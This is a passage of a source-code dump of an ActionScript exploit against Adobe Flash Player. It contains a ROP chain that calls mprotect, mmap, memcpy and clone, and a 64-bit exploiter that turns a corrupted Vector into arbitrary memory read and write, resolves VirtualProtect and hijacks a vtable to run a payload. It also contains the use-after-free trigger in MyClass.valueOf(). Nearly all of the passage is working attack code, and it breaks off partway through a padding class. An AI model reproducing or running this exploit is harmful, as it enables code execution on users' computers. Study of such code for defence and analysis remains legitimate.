eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi 274 | 275 | // my_memcpy 276 | eba.write(buffer + 0x60, "\x56", false) // push esi 277 | eba.write(0, "\x57", false) // push edi 278 | eba.write(0, "\x51", false) // push ecx 279 | eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] 280 | eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] 281 | eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] 282 | eba.write(0, "\xF3\xA4", false) // rep movsb 283 | eba.write(0, "\x59", false) // pop ecx 284 | eba.write(0, "\x5f", false) // pop edi 285 | eba.write(0, "\x5e", false) // pop esi 286 | eba.write(0, "\xc3", false) // ret 287 | 288 | // Put the popen parameters in memory 289 | eba.write(payload_address + 0x8, payload, true) // false 290 | 291 | // Put the fake stack/vtable on memory 292 | eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot 293 | eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi 294 | eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 295 | 296 | // Return to mprotect() 297 | eba.write(stack_address + 0x18034, mprotect) 298 | // Return to stackpivot (jmp over mprotect parameters) 299 | eba.write(0, addesp2cret) 300 | // mprotect() arguments 301 | eba.write(0, buffer) // addr 302 | eba.write(0, 0x1000) // size 303 | eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC 304 | 305 | // Return to mmap() 306 | eba.write(stack_address + 0x18068, mmap) 307 | // Return to stackpivot (jmp over mmap parameters) 308 | eba.write(0, addesp2cret) 309 | // mmap() code segment arguments 310 | eba.write(0, 0x70000000) // 0x70000000 311 | eba.write(0, 0x4000) // size 312 | eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC 313 | eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS 314 | eba.write(0, 0xffffffff) // filedes 315 | eba.write(0, 0) // offset 316 | 317 | // Return to mmap() 318 | eba.write(stack_address + 0x1809c, mmap) 319 | // Return to stackpivot (jmp over mmap parameters) 320 | eba.write(0, addesp2cret) 321 | // mmap() stack segment arguments 322 | eba.write(0, 0x70008000) // NULL 323 | eba.write(0, 0x10000) // size 324 | eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC 325 | eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS 326 | eba.write(0, -1) // filedes 327 | eba.write(0, 0) // offset 328 | 329 | // Return to memcpy() 330 | eba.write(stack_address + 0x180d0, buffer + 0x60) 331 | // Return to stackpivot (jmp over memcpy parameters) 332 | eba.write(0, addesp2cret) 333 | // memcpy() parameters 334 | eba.write(0, 0x70000000) 335 | eba.write(0, payload_address + 0x8) 336 | eba.write(0, payload.length) 337 | 338 | // Return to clone() 339 | eba.write(stack_address + 0x18104, clone) 340 | // Return to CoE (fix stack and object vtable) 341 | eba.write(0, buffer + 0x10) 342 | // clone() arguments 343 | eba.write(0, 0x70000000) // code 344 | eba.write(0, 0x7000bff0) // stack 345 | eba.write(0, 0x00000100) // flags CLONE_VM 346 | eba.write(0, 0) // args 347 | 348 | //call DWORD PTR [eax+0x24] 349 | //EAX: 0x41414141 ('AAAA') 350 | //EDI: 0xad857088 ("AAAA\377") 351 | eba.write(main, stack_address + 0x18000) 352 | exploit.hasOwnProperty('msf') 353 | } 354 | 355 | private function cleanup():void 356 | { 357 | Logger.log("[*] Exploiter - cleanup()") 358 | spray = null 359 | stack = null 360 | payload_space = null 361 | eba = null 362 | ev = null 363 | exploit = null 364 | System.pauseForGCIfCollectionImminent(0) 365 | } 366 | } 367 | } 368 | -------------------------------------------------------------------------------- /src/Exploiter64.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.utils.ByteArray 4 | 5 | public class Exploiter64 6 | { 7 | private var BYTE_ARRAY_SIZE:Number = 0x3f8 8 | private var SEARCH_LIMIT:Number = 0x280000 / 4 9 | private const MAX_STRING_LENGTH:uint = 100 10 | 11 | private var defrag:Vector. = new Vector.(750) 12 | 13 | private var payload_space:Vector. = new Vector.() 14 | private var ov:Vector. = new Vector.(2048) 15 | private var uv:Vector. 16 | private var uv_orig_length:uint 17 | 18 | private var ba_pos:uint 19 | private var ba_orig_array:Address64 20 | private var ba_orig_length:uint 21 | private var ba_orig_capacity:uint 22 | private var ba:ByteArray 23 | 24 | // Addresses 25 | private var uv_addr:Address64 26 | private var vector_object_addr:Address64 27 | private var this_addr:Address64 28 | private var payload_space_object:Address64 29 | private var payload_space_data:Address64 30 | private var flash_ptr:Address64 31 | private var vp_addr:Address64 32 | private var magic:Address64 33 | private var vtable:Address64 34 | private var traits:Address64 35 | private var core:Address64 36 | private var exec:Address64 37 | private var exec_vtable: Address64 38 | 39 | public function Exploiter64(corrupted_vector, original_length) 40 | { 41 | uv_orig_length = original_length 42 | uv = corrupted_vector 43 | uv[0] = 0xdaadbaaf 44 | 45 | Logger.log("[*] uv corrupted length: " + uv.length.toString(16)) 46 | 47 | for (var i:uint = 0; i < defrag.length; i++) { 48 | defrag[i] = new Vector.(250) 49 | } 50 | 51 | for (var i:uint = 0; i < ov.length; i++) { 52 | if (i % 2 == 0) { 53 | ov[i] = new ByteArray() 54 | ov[i].length = 0x3f8 55 | ov[i].position = 0 56 | ov[i].endian = "littleEndian" 57 | ov[i].writeUnsignedInt(0xdeedbeef) 58 | } else { 59 | ov[i] = new Vector.(0x3f6) 60 | ov[i][0] = this 61 | ov[i][1] = payload_space 62 | ov[i][2] = Magic 63 | } 64 | } 65 | 66 | Logger.log('[*] Searching ByteArray') 67 | try { 68 | search_byte_array() 69 | } catch (err:Error) { 70 | Logger.log('[!] ba not found') 71 | return 72 | } 73 | 74 | Logger.log("[*] Setting up new ba length") 75 | set_ba_length(0x1000) 76 | 77 | Logger.log("[*] Finding the BA from ov") 78 | for (i = 0; i < ov.length; i++) { 79 | if (ov[i].length == 0x1000) { 80 | ba = ov[i] as ByteArray 81 | ba.position = 0 82 | break 83 | } 84 | } 85 | 86 | if (ba == null) { 87 | Logger.log('[!] modified ba not found') 88 | return 89 | } 90 | 91 | Logger.log('[*] ba found at :' + ba_orig_array.toString()) 92 | 93 | 94 | Logger.alert('[*] Find uv data addr...') 95 | uv_addr = new Address64(ba_orig_array.lo, ba_orig_array.hi) 96 | var leak:uint 97 | i = 0 98 | while (true) { 99 | leak = ba_read(uv_addr) 100 | if (leak == 0xdaadbaaf) { 101 | uv_addr.lo = uv_addr.lo - 0x10 // points to uv length 102 | break 103 | } 104 | uv_addr.lo = uv_addr.lo - 4 105 | } 106 | 107 | Logger.log("[*] uv data found at " + uv_addr) 108 | 109 | // Make space for the payload / fake objects 110 | payload_space.length = 0x6400 111 | 112 | Logger.log('[*] Leak addresses') 113 | 114 | vector_object_addr = new Address64(ba_orig_array.lo, ba_orig_array.hi) 115 | leak = 0 116 | i = 0 117 | while (true) { 118 | leak = ba_read(vector_object_addr) 119 | if (leak == 0x3f6) { 120 | Logger.log('[*] Vector. found at ' + vector_object_addr.toString()) 121 | break 122 | } 123 | vector_object_addr.lo = vector_object_addr.lo + 4 124 | } 125 | 126 | this_addr = ba_read_addr(vector_object_addr.offset(8)) 127 | this_addr.lo = this_addr.lo - 1 128 | Logger.log("[*] 'this' found at " + this_addr.toString()) 129 | 130 | payload_space_object = ba_read_addr(vector_object_addr.offset(16)) 131 | payload_space_object.lo = payload_space_object.lo - 1 132 | Logger.log("[*] payload_space_object found at " + payload_space_object.toString()) 133 | 134 | payload_space_data = ba_read_addr(payload_space_object.offset(0x30)) 135 | payload_space_data.lo = payload_space_data.lo + 0x10 136 | Logger.log("[*] payload_space_data found at " + payload_space_data.toString()) 137 | 138 | magic = ba_read_addr(vector_object_addr.offset(24)) 139 | magic.lo = magic.lo - 1 140 | Logger.log("[*] magic found at " + magic.toString()) 141 | 142 | vtable = ba_read_addr(magic.offset(0x10)) 143 | Logger.log("[*] vtable found at " + vtable.toString()) 144 | traits = ba_read_addr(vtable.offset(0x28)) 145 | Logger.log("[*] traits found at " + traits.toString()) 146 | core = ba_read_addr(traits.offset(0x8)) 147 | Logger.log("[*] core found at " + core.toString()) 148 | exec = ba_read_addr(core.offset(0x108)) 149 | Logger.log("[*] exec found at " + exec.toString()) 150 | exec_vtable = ba_read_addr(exec) 151 | Logger.log("[*] exec_vtable found at " + exec_vtable.toString()) 152 | 153 | /* Leak flash and VirtualProtect */ 154 | flash_ptr = ba_read_addr(this_addr) 155 | Logger.log("[*] Flash ptr to " + flash_ptr.toString()) 156 | var pe:PE64 = new PE64(this) 157 | var flash:Address64 = pe.base(flash_ptr) 158 | Logger.log("[*] Flash base " + flash.toString()) 159 | var winmm:Address64 = pe.module('winmm.dll', flash) 160 | Logger.log("[*] winmm base " + winmm.toString()) 161 | var kernel32:Address64 = pe.module('kernel32.dll', winmm) 162 | Logger.log("[*] kernel32 base " + kernel32.toString()) 163 | var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32) 164 | Logger.log("[*] virtualprotect: " + virtualprotect.toString()) 165 | 166 | 167 | // Copy the exec object to payload_space 168 | 169 | /* 8 bytes before the exec objec to survive the next call: 170 | * .text:0000000180896903 mov rax, [r9+108h] 171 | * .text:000000018089690A test rax, rax 172 | * .text:000000018089690D jz short loc_180 173 | * .text:000000018089690F lea rcx, [rax-8] 174 | * .text:0000000180896913 jmp short loc_180896917 175 | * .text:0000000180896917 loc_180896917: 176 | * .text:0000000180896917 mov r9, [rbx+18h] 177 | * .text:000000018089691B mov rax, [rcx] ; rcx => it's magic :? it shouldn't be corrupted so why???? 178 | * .text:000000018089691E mov r8, [r9+8] 179 | * .text:0000000180896922 mov r9, [r9+10h] 180 | * .text:0000000180896926 mov r8, [r8+8] 181 | * .text:000000018089692A call qword ptr [rax+10h] 182 | */ 183 | for (var j:int = -2; j < 0x140; j++) { 184 | payload_space[j + 2] = ba_read(exec.offset(j * 4)) 185 | } 186 | 187 | // Copy the exec_vtable to payload_space 188 | for (i = 0x142; i < 0x142 + (228 / 4); i++) { 189 | payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4)) 190 | } 191 | 192 | // Tweak fake "apply()" vtable entry 193 | ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect) 194 | 195 | // Link fake exec to fake exec vtable 196 | ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508)) 197 | 198 | // Install our fake "exec" object 199 | ba_write_addr(core.offset(0x108), payload_space_data.offset(8)) 200 | 201 | // Install our fake "arg1" 202 | var arg1:Address64 = ba_read_addr(magic.offset(0x38)) 203 | ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0)) 204 | 205 | // Install our fake "arg2" 206 | var arg2:Address64 = ba_read_addr(magic.offset(0x40)) 207 | ba_write_addr(magic.offset(0x40), new Address64(0x40, 0)) 208 | 209 | // Arg0 210 | var args:Array = new Array(4) // Should be good enough to control arg0 211 | 212 | Logger.log('[*] Execte VirtualProtect') 213 | 214 | Magic.apply(null, args) 215 | 216 | ba_write_addr(magic.offset(0x38), arg1) 217 | ba_write_addr(magic.offset(0x40), arg2) 218 | ba_write_addr(core.offset(0x108), exec) 219 | 220 | Logger.log("Looks good:\n" + 221 | " 'this' addr: " + this_addr.toString() + "\n" + 222 | " payload_space_object addr: " + payload_space_object.toString() + "\n" + 223 | " payload_space_data addr: " + payload_space_data.toString() + "\n" + 224 | " magic addr: " + magic.toString() + "\n") 225 | 226 | for (i = 0; i < 504; i++) { 227 | payload_space[i] = 0 228 | } 229 | 230 | for (i = 0; i < 228 / 4; i++) { 231 | payload_space[i] = ba_read(exec_vtable.offset(i * 4)) 232 | } 233 | 234 | payload_space[500] = 0xcccccccc 235 | payload_space[501] = 0xcccccccc 236 | 237 | ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4)) 238 | ba_write_addr(exec, payload_space_data) 239 | 240 | Logger.log('Execute dummy payload') 241 | Magic.apply(null, args) 242 | 243 | // To restore uv... TODO:incomplete 244 | ba_write(uv_addr, uv_orig_length) 245 | } 246 | 247 | static function Magic(...a){} 248 | 249 | // Make ba_pos point to the *array ptr 250 | private function search_byte_array():void { 251 | var hi, lo:uint 252 | for (var i:uint = 0; i < SEARCH_LIMIT; i++) { 253 | if (uv[i + 2] == 0x3f8 && uv[i + 3] == 0x3f8) { 254 | ba_orig_capacity = 0x3f8 255 | ba_orig_length = 0x3f8 256 | lo = uv[i] 257 | hi = uv[i + 1] 258 | ba_orig_array = new Address64(lo, hi) 259 | ba_pos = i 260 | return 261 | } 262 | } 263 | 264 | throw new Error() 265 | } 266 | 267 | private function set_ba_length(new_length:uint):void { 268 | uv[ba_pos + 2] = new_length 269 | uv[ba_pos + 3] = new_length 270 | } 271 | 272 | private function set_ba_array(ptr:Address64):void { 273 | uv[ba_pos] = ptr.lo 274 | uv[ba_pos + 1] = ptr.hi 275 | } 276 | 277 | private function restore_ba():void { 278 | set_ba_array(ba_orig_array) 279 | set_ba_length(0x3f8) 280 | } 281 | 282 | public function ba_read(addr:Address64):uint { 283 | set_ba_array(addr) 284 | ba.position = 0 285 | return ba.readUnsignedInt() 286 | } 287 | 288 | public function ba_read_word(addr:Address64):uint { 289 | set_ba_array(addr) 290 | ba.position = 0 291 | return ba.readUnsignedShort() 292 | } 293 | 294 | public function ba_write(addr:Address64, val:uint):void { 295 | set_ba_array(addr) 296 | ba.position = 0 297 | ba.writeUnsignedInt(val) 298 | } 299 | 300 | public function ba_read_addr(addr:Address64):Address64 { 301 | var hi, lo:uint 302 | 303 | set_ba_array(addr) 304 | ba.position = 0 305 | lo = ba.readUnsignedInt() 306 | hi = ba.readUnsignedInt() 307 | return new Address64(lo, hi) 308 | } 309 | 310 | public function ba_write_addr(addr:Address64, val:Address64):void { 311 | set_ba_array(addr) 312 | ba.position = 0 313 | ba.writeUnsignedInt(val.lo) 314 | ba.writeUnsignedInt(val.hi) 315 | } 316 | 317 | public function read_string(addr:Address64, length:uint = 0):String 318 | { 319 | set_ba_array(addr) 320 | ba.position = 0 321 | if (length == 0) 322 | return ba.readUTFBytes(MAX_STRING_LENGTH) 323 | else 324 | return ba.readUTFBytes(length) 325 | } 326 | } 327 | 328 | } -------------------------------------------------------------------------------- /src/Logger.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.external.ExternalInterface 4 | 5 | public class Logger { 6 | private static const DEBUG:uint = 1 7 | 8 | public static function alert(msg:String):void 9 | { 10 | var str:String = ""; 11 | 12 | if (DEBUG == 1) 13 | str += msg; 14 | 15 | if(ExternalInterface.available){ 16 | ExternalInterface.call("alert", str); 17 | } 18 | } 19 | 20 | public static function log(msg:String):void 21 | { 22 | var str:String = ""; 23 | 24 | if (DEBUG == 1) 25 | str += msg; 26 | 27 | if(ExternalInterface.available){ 28 | ExternalInterface.call("console.log", str); 29 | } 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/MyClass.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.display.DisplayObjectContainer; 4 | import flash.utils.ByteArray; 5 | import flash.system.Capabilities; 6 | import flash.events.MouseEvent; 7 | import flash.external.ExternalInterface; 8 | 9 | public class MyClass 10 | { 11 | static var 12 | _gc:Array, 13 | _va:Array, 14 | _ba:ByteArray, 15 | _corrupted:Vector., 16 | _isDbg:Boolean = Capabilities.isDebugger; 17 | 18 | // define malicious valueOf() 19 | prototype.valueOf = function () 20 | { 21 | Logger.log("MyClass.valueOf()"); 22 | 23 | _va = new Array(5); 24 | _gc.push(_va); // protect from GC // for RnD 25 | 26 | // reallocate _ba storage 27 | _ba.length = 0x1100; 28 | 29 | // reuse freed memory 30 | for(var i:int; i < _va.length; i++) 31 | _va[i] = new Vector.(0x3f0); 32 | 33 | // return one byte for overwriting 34 | return 0x40; 35 | } 36 | 37 | // try to corrupt the length value of Vector. 38 | static function TryExpl():Boolean//(e:Exploit, platform:String, payload:ByteArray) : Boolean 39 | { 40 | Logger.log("tryexpl") 41 | try 42 | { 43 | var alen:int = 90; // should be multiply of 3 44 | var a = new Array(alen); 45 | if (_gc == null) _gc = new Array(); 46 | _gc.push(a); // protect from GC // for RnD 47 | 48 | // try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ] 49 | for(var i:int; i < alen; i+=3){ 50 | a[i] = new MyClass2(i); 51 | 52 | a[i+1] = new ByteArray(); 53 | a[i+1].length = 0xfa0; 54 | 55 | a[i+2] = new MyClass2(i+2); 56 | } 57 | 58 | // find these pages 59 | for(i=alen-5; i >= 0; i-=3) 60 | { 61 | // take next allocated ByteArray 62 | _ba = a[i]; 63 | // call valueOf() and cause UaF memory corruption 64 | _ba[3] = new MyClass(); 65 | // _ba[3] should be unchanged 0 66 | Logger.log("_ba[3] = " + _ba[3]); 67 | if (_ba[3] != 0) throw new Error("can't cause UaF"); 68 | 69 | // check results // find corrupted vector 70 | for (var j:int = 0; j < _va.length; j++) { 71 | if (_va[j].length != 0x3f0) { 72 | _corrupted = _va[j] 73 | } //else { 74 | //delete(_va[j]) 75 | //_va[j] = null 76 | //} 77 | } 78 | 79 | //for (j = 0; j < a.length; j++) { 80 | //delete(a[j]) 81 | //a[j] = null 82 | //} 83 | 84 | if (_corrupted != null) { 85 | Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); 86 | //var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0) 87 | var exploiter:Exploiter64 = new Exploiter64(_corrupted, 0x3f0) 88 | //Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); 89 | return true 90 | } 91 | } 92 | Logger.log("bad allocation. try again."); 93 | } 94 | catch (e:Error) 95 | { 96 | Logger.log("TryExpl() " + e.toString()); 97 | } 98 | 99 | return false; 100 | } 101 | 102 | } 103 | 104 | } -------------------------------------------------------------------------------- /src/MyClass1.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.utils.ByteArray; 4 | 5 | class MyClass1 extends ByteArray 6 | { 7 | var o1:Object, o2:Object, o3:Object, o4:Object; 8 | } 9 | } -------------------------------------------------------------------------------- /src/MyClass2.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | class MyClass2 extends MyClass1 4 | { 5 | var 6 | // enlarge the MyClass2 size by dummy attributes 7 | a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint, 8 | a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint, 9 | a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint, 10 | a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint, 11 | a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint, 12 | a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint, 13 | a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint, 14 | a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint, 15 | a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint, 16 | a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint, 17 | 18 | a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint, 19 | a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint, 20 | a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint, 21 | a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint, 22 | a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint, 23 | a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint, 24 | a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint, 25 | a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint, 26 | a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint, 27 | a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint, 28 | 29 | a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint, 30 | a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint, 31 | a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint, 32 | a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint, 33 | a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint, 34 | a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint, 35 | a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint, 36 | a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint, 37 | a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint, 38 | a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint, 39 | 40 | a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint, 41 | a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint, 42 | a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint, 43 | a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint, 44 | a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint, 45 | a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint, 46 | a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint, 47 | a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint, 48 | a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint, 49 | a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint, 50 | 51 | a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint, 52 | a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint, 53 | a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint, 54 | a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint, 55 | a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint, 56 | a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint, 57 | a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint, 58 | a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint, 59 | a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint, 60 | a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint, 61 | 62 | a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint, 63 | a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint, 64 | a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint, 65 | a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint, 66 | a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint, 67 | a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint, 68 | a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint, 69 | a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint, 70 | a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint, 71 | a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint, 72 | 73 | a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint, 74 | a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint, 75 | a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint, 76 | a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint, 77 | a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint, 78 | a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint, 79 | a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint, 80 | a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint, 81 | a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint, 82 | a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint, 83 | 84 | a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint, 85 | a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint, 86 | a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint, 87 | a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint, 88 | a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint, 89 | a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint, 90 | a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint, 91 | a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint, 92 | a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint, 93 | a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint, 94 | 95 | a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint, 96 | a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint, 97 | a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint, 98 | a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint, 99 | a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint, 100 | a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint, 101 | a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint, 102 | a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint, 103 | a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint, 104 | a890:uint, a891:uint, a892:uint, 